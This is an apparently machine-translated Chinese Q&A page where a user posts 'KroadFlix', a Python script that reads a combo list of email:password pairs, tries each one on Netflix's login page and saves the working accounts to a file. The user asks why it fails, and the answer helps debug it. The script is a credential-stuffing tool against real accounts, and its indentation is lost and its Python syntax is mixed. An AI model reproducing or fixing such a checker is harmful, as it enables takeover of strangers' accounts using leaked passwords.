python - 这个 Python 程序不工作,他们没有明显的原因
问题描述
我在网上找到了这段代码,并尽力修补它。我不明白这个程序有什么问题。此代码接收 Netflix 帐户并输出工作帐户。
import mechanize
import sys
import time
from colorama import init, Fore, Style
init()
header = Fore.CYAN + """
__ __ ___________
/ //_/_________ ____ _____/ / ____/ (_) __
/ ,< / ___/ __ \/ __ `/ __ / /_ / / / |/_/
/ /| |/ / / /_/ / /_/ / /_/ / __/ / / /> <
/_/ |_/_/ \____/\__,_/\__,_/_/ /_/_/_/|_|
"""
Fore.LIGHTGREEN_EX
user = input('Enter Your Name: ')
print Fore.LIGHTGREEN_EX + 'Welcome' , user , 'in KroadFlix'
print (header)
time.sleep(2)
accex=0
accno=0
accPass=[]
outfile = open('good.txt', 'w')
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.addheaders = [('User-agent', 'Firefox')]
try:
with open('combo.txt', "r") as filestream:
for line in filestream:
br.open('https://www.netflix.com/Login?locale=es-CL')
currentline = line.split(':')
br.select_form(nr=0)
br.form['email'] = currentline[0]
br.form['password'] = currentline[1]
print (Fore.YELLOW + 'Checking: '+br.form['email'])
response = br.submit()
if response.geturl()=='http://www.netflix.com/browse':
print (Fore.GREEN + '[+]Account is working!')
accex = accex + 1
br.open('http://www.netflix.com/SignOut?lnkctr=mL')
accPass.append(currentline[0]+':'+currentline[1])
else:
print (Fore.RED + '[-]Account is not working!')
accno = accno + 1
print ('Saving Good Accounts Into txt..')
for all in accPass:
print (all)
outfile.write(str(all)+'\n')
except:
print ('ERROR..')
print ('Check if your combo named as combo.txt')
for all in accPass:
outfile.write(str(all)+'\n')
print (Fore.GREEN + 'Active Accounts: ' + str(accex))
print (Fore.RED + 'Bad Accounts: ' + str(accno))
这是它输出的错误。
ERROR..
Check if your combo named as combo.txt
Active Accounts: 0
Bad Accounts: 0
我在目录中有一个名为 combo.txt 的文件,所以我不明白这里有什么问题
解决方案
没有“明显的原因”,因为作者为所有可能的失败显示了一条预制消息,即使在不适用的情况下也是如此。例如,即使在成功打开文件后,建议检查您是否拥有该文件。
至少异常处理程序应该显示异常消息。但它是 Python,所以你可以自己轻松地做到这一点。
我的钱花在了 'br.open()' 调用失败上。
推荐阅读
- google-cloud-platform - 使用 GCP 数据传输服务从 S3 传输以前存储在 Glacier 中的文件
- javascript - 反应表单中带有单选按钮的条件字段是否有效?
- python - 带有键值的 SSHTunnel(不是路径)
- scala - 如何在结构化流中从具有不同模式(具有一些可选对象)的 kafka 主题中读取数据
- php - 使用PHP函数生成产品描述
- sql - 如何在 Microsoft Access 中使用表格行值验证表单输入字段?
- android - 生成签名时出错 AAPT Android Studio
- python - Scapy 无法从所有接口嗅探
- google-apps-script - 如何管理 Google App 脚本项目以使它们指向用户选择的文件?
- multithreading - 如果线程本身无法重新启动,ThraPool 如何重用线程?